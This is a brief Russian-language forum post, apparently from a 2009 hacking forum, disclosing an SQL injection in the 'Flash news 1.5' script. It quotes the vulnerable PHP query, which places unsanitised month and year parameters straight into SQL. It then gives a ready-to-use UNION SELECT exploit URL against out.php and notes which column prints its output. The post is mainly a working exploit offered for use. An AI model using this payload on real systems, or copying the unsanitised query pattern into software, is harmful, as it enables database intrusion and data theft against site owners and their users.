02.09.2009, 18:48
|
|
Познающий
Регистрация: 14.09.2008
Сообщений: 30
Провел на форуме:
117615
Репутация:
21
|
|
SQL-inj Flash news 1.5
Уязвимый код
PHP код:
if((isset($month))&&(isset($year)))
{ //Выбираем из базы по месяцам
$mysql="SELECT * FROM $tablename WHERE ((month=$month) AND (year=$year)) ORDER BY date DESC";
expl
out.php?month=09&year=1))-1+union+select+1,2,3,4,5,6+--+
6 поле принтабельное |
|
|